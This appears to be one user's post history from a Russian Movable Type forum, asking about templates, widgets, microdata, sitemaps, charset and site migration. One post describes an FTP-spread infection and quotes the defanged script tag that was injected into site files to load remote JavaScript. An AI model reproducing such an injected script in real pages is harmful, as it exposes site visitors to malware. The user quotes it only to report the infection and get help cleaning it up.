Андрей, расскажи, пожалуйста, как ты сделал блок "Ещё 10 записей" на главной странице своего блога? Это можно применить для категорий?

Кто знает, как сделать блок с похожими записями + картинка под статьями или в виджете? На одном буржуйском сайте увидел такое решение:

- Создать модульный шаблон с названием Related Entries Images Module:

<MTRelatedEntries lastn="10"><li><a href="<$mt:EntryPermalink$>"><$MTEntryTitle$><a href="<$MTEntryLink$>" title="<$MTEntryTitle$>"><mt:entryassets type="image" limit="1"><img src="<mt:AssetThumbnailURL width="150" />" alt="<mt:assetlabel>"/></mt:entryassets></a>
</MTRelatedEntries>

- Создать виджет с таким кодом:

<div class="widget-recent-entries widget-archives widget">
<h3 class="widget-header"><mt:If name="entry_template"><a href="<$mt:EntryPermalink$>" title="<$MTEntryTitle$>"></mt:If>Related Entries</a></h3>
<div class="widget-content">
<ul class="widget-list">
<mt:If name="entry_template"> 
<mt:include module="Related Entries Images Module">
</mt:if>
</ul>

</div>
</div>

При публикации сайта, МТ ругается на MTRelatedEntries.

Оригинал статьи

У меня на Movable Type много сайтов, один из них я продал вместе с доменом. Как правильно перенести его на хостинг нового владельца. База данных ведь одна?

У меня установлена версия 4.32. Можно ли перенести его на последнюю версию?

4

(3 ответов, оставленных в Установка и настройка)

Я всё никак не успокоюсь с микроразметкой Schema.org.
- Вот нашел модуль для Perl: https://metacpan.org/module/HTML::HTML5 … ta::Parser Модуль в приложении.
- Вот скрипт на PHP: https://github.com/linclark/MicrodataPHP
- Здесь JavaScript: https://gitorious.org/microdatajs/

Что лучше использовать? Как его установить и настроить? Очень не хочется руками всё прописывать.

saahov пишет:

В стандартных шаблонах для многих HTML-тегов указаны специальные классы, которые и являются микроформаты. Например, в комментариях такое есть.

Если можно подробней:
- в каких версиях Movable Type присутствуют эти классы;
- для каких HTML-тегов указаны специальные классы;
- если не сложно, покажите кусок кода с микроформатами.

Заинтересовался я тут микроразметкой. Нагуглил такую фразу: "Поэтому необходимо пользоваться системами управления контентом, уже поддерживающими микроформаты — например, Drupal, Wordpress, Movable Type. Или же писать модуль с таким функционалом для используемой CMS."

Каким образом Movable Type поддерживает микроформаты? Как это все настроить?

6

(10 ответов, оставленных в Кое-что ещё)

Пути публикации сайта и блога одинаковые.

Насчет удаления шаблонов, я не совсем понял. Т.е. если в одном сайте есть два блога на разных доменах, то можно оставить модульный шаблон XML Sitemaps только на сайте, а в блогах его удалить. Он ведь везде одинаковый.

Андрей, я нашел причину. Шаблон с sitemap, просто не был опубликован после создания. В опциях шаблона в графе публикация, было выбрано "С использованием очереди публикации".

7

(10 ответов, оставленных в Кое-что ещё)

Я тоже немного запутался с сайтами и блогами. На МТ 4 все проще.

Создал новый сайт example.com. Но так как на сайте, я могу создать только страницу, а мне нужны записи, мне пришлось создать в этом сайте блог. И получилось, что у меня сайт и блог по одному адресу: example.com.

Сайт example.com я после этого не трогаю и ничего в нем создаю и не изменяю. Теперь создал sitemap на блоге example.com. При проверке блога example.com на наличие XML Sitemaps, вижу сообщение что ее там нет. Получается, что данные берутся из сайта example.com. Почему так происходит?

8

(1 ответов, оставленных в Установка и настройка)

В Movable Type version 5.2.3-ru в разделе "Записи", есть пункт "Boilerplate". Что сие означает?

9

(16 ответов, оставленных в Установка и настройка)

Да, действительно. Надо было поменять кодировку в настройках APACHE. Спасибо!

10

(16 ответов, оставленных в Установка и настройка)

Кто может помочь? Установил Movable Type 5.2.3-ru. Добавил сайт и создал два блога. Один из блогов на субдомене. Блог на основном домене, отображается нормально, а у того который на субдомене, проблемы с кодировкой.
- AddDefaultCharset utf-8 в .htaccess добавил;
- SQLSetNames 1 в mt-config.cgi добавил.

saahov пишет:

Я рекомендую делать ссылки «Назад»—«Вперёд». Пример таких архивов можно посмотреть на BoingBoing http://boingboing.net или у меня в блоге (http://saahov.ru/blog/)

Подскажите, пожалуйста, как это сделать без плагинов (для категорий).

12

(3 ответов, оставленных в Кое-что ещё)

Спасибо, Андрей! Я понял. У них будет один сайт, а на поддоменах, перевод на 2-3 иностранных языка.

Кстати, а как правильно скопировать все шаблоны и настройки сайта с одного хостинг-аккаунта на другой. Версия МТ будет та же, что и у меня, хостинг тот же и тема с одного из моих сайтов.

13

(3 ответов, оставленных в Кое-что ещё)

Всем привет! Уже 3 года пользуюсь МТ. Всем доволен. Знакомые попросили заняться их сайтом (движок самописный). Уболтал их сделать абсолютно новый сайт и обязательно на МТ (мне так проще).  Все мои сайты на версии, точно не помню, 4.2 или 4.3.

Какую версию лучше устанавливать? Ту, в которой все родное и понятное или 5.02.

14

(6 ответов, оставленных в Установка и настройка)

alaksanhik12 пишет:

А ты админам в личку напиши они тебе и ответят

Каким админам?

15

(6 ответов, оставленных в Установка и настройка)

Всем спасибо, за ответы!
Буду пробовать. Никогда не имел дело с Custom Fields.

ivanshal86 пишет:

Нажмите на кнопку добавить раздел и все

А где эта кнопочка находится?

16

(6 ответов, оставленных в Установка и настройка)

Есть два вопроса:

1. Как добавить текст на страницу категории (между названием категории и первой записью)?

2. Как добавить уникальный description  к каждой категории?

--------------------------------------------------------------------------------------------------------------------------------------------------
Да, не густо. Пару лет назад, Андрей отвечал быстрее.

С уникальностью Description в категориях я разобрался. Кстати, нашел на форуме. А, вот как добавить текст на страницу категории (между названием категории и первой записью)? Может кто то пробовал сделать такое?

Как добавить в URL главной страницы хеш тег #
Пробовал изменить в шаблоне главной страницы, имя файла с index.html на index.html#content. Но, при таком варианте, после добавления новых записей, они не отображаются на главной странице.

В результате, мне надо получить вот такой URL: h ttp://mywebsite.com/#content

18

(7 ответов, оставленных в Установка и настройка)

Прошу вашей помощи! Есть переделанный шаблон архива "Запись". Вот он:

<mt:If tag="EntryCategory" eq="Категория 1">
    <$mt:Include module="Записи 1"$>
<mt:Else tag="EntryCategory" eq="Категория 2">
    <$mt:Include module="Записи 2"$>
<mt:Else tag="EntryCategory" eq="Категория 3">
    <$mt:Include module="Записи 2"$>
<mt:Else>
    <$mt:Include module="Записи стандарт"$>
</mt:If>

В нем указано, что для определенных категорий, инклюдится нужный шаблон записи. В свою очередь, каждый из шаблонов записи, имеет свой дизайн и различные виджеты в сайдбарах. Чтобы было легче представить, опубликую короткую схему.

Категория "Дети", шаблон "Запись 1":

- Заголовок статьи
- блок Adsense 336x280
- статья
- блок Adsense 336x280
- похожие записи "дизайн 1"
- <$mt:Include module="Комментарии"$>
- <$mt:Include module="Боковое меню 1"$>
- <$mt:Include module="Подвал"$>

Категория "Собаки", шаблон "Запись 2":

- Заголовок статьи
- статья
- блок Adsense 336x280
- похожие записи "дизайн 1"
- <$mt:Include module="Боковое меню 2"$>
- <$mt:Include module="Подвал"$>

Категория "Видео", шаблон "Запись 3":

- Заголовок видео
- видеоролик
- блок Adsense 468x15
- похожее видео "дизайн 2"
- <$mt:Include module="Боковое меню 3"$>
- <$mt:Include module="Подвал"$>

Все прописано правильно, но после каждой публикации всего блога, автоматически меняются шаблоны записей, в которых, может поменяться, а может и совсем не отобразиться  "Боковое меню". Т.е. требуемые шаблоны "Запись", не соответствуют выбранным категориям. Например:

Категория "Дети", шаблон "Запись 1"
Боковое меню 3

Категория "Собаки", шаблон "Запись 3"
Боковое меню 1

Категория "Видео", шаблон "Запись 1"
нет Бокового меню

Странно то, что просто переопубликовав блог, ничего не изменяя ни в одном шаблоне, они меняются в рандомном порядке.

Как такое может быть?

saahov пишет:

Похоже, что только вручную. Я так делал.

Т.е. удалить ее из списка категорий в админке? А как тогда добавлять новые записи в эту категорию, она ведь не будет доступна для выбора, при публикации новой записи?

20

(1 ответов, оставленных в Установка и настройка)

Как сделать так, чтобы при добавлении новой записи, можно было бы выбрать другой шаблон "Запись". Создал новый шаблон архива "Запись 2", который отличается дизайном от стандартного. А вот как применить его к определенной категории или записи при публикации? Пользуюсь версией 4.32

Посдкажите, пожалуйста, как исключить одну или несколько категорий из сайдбара. Вот так?

<mt:TopLevelCategories category="NOT название категории">

22

(5 ответов, оставленных в Установка и настройка)

saahov пишет:

Можно скачать заново дистрибутив и взять файлы оттуда, только не трогая папку /mt-static/support.
На опубликованное это не повлияет.

Наконец то! Получилось! Андрей, огромное тебе спасибо!

23

(5 ответов, оставленных в Установка и настройка)

saahov пишет:

Что-то с JS-файлами Movable Type, можно попробовать перезаписать файлы в mt-static.

- Перезаписать из бэкапа?
- На опубликованные после 9 августа записи, это не повлияет?
- Вечером попробую конечно, но судя по датам последнего редактирования файлов, никаких изменений в файлах mt-static не происходило, кроме тех, в которых поселился этот скрипт. Хотя, я редактировал только те файлы, в которых с помощью поиска, было обнаружено слово "byhosted".
- А как через ftp, отредактировать модульный шаблон "Боковое меню". На одном из сайтов (не на том, на который установлен Movable Type), я немного перемудрил с виджетами).
- И еще. Однажды, такой же серый фон, появился после изменений в css. Я еще тогда удивился, как оно может быть связано. Но, так как в этот момент я редактировал и css и шаблоны, то я это заметил и сразу же исправил.

saahov пишет:

А все сгенерированные MT файлы можно смело удалять, чтобы не вычищать вручную эти строки. А затем просто полностью опубликовать весь сайт.

Андрей, ты имеешь в виду, что я мог не редактировать каждый файл index.php, index.html,  а просто удалить их. И после публикации всего сайта, они были бы созданы автоматически и уже без этого скрипта?

Здравствуйте! Прошу вашей помощи.
9 августа, меня осчастливили вирусом. Google подсказал мне, что я не один такой. С такой же проблемой столкнулись Два миллионера. Вот описание проблемы на их блоге.

Сначала, вирус попадает на ваш, пардон, на мой комп. NOD32, даже не пискнул! Потом, при входе на ftp, он распространяется по всем сайтам. У меня пострадали все сайты на Movable Type и на Wordpress. Автоматически добавляется в каждый файл с названиями: index.php, index.html, config.php, registration.php, template.htm, wp-config.php, wp-admin.php такая строка:

<скрипт src=”aштитипи://byhosted.ком/ajaxengine.жс”></скрипт>

У меня, было заражено около 200 файлов. После чистки, все заработало, но на Movable Type, начались проблемы. Я не могу ни создать, ни отредактировать ни один шаблон. Поле для редактирования затемнено серым цветом. Могу только создавать, редактировать статьи и управлять комментариями.

Может я удалил что-то лишнее или не удалил еще что то? Есть бэкап всех файлов, созданный за две недели до этого случая. Количество пользователей не изменилось, администратор тот же. Буду благодарен любому совету.

P.S. А нашла вирус утилита Dr.Web CureIt!

25

(4 ответов, оставленных в Установка и настройка)

oldcopy пишет:

Добавьте в htaccess строку AddDefaultCharset utf-8

Блин! Точно! Спасибо, oldcopy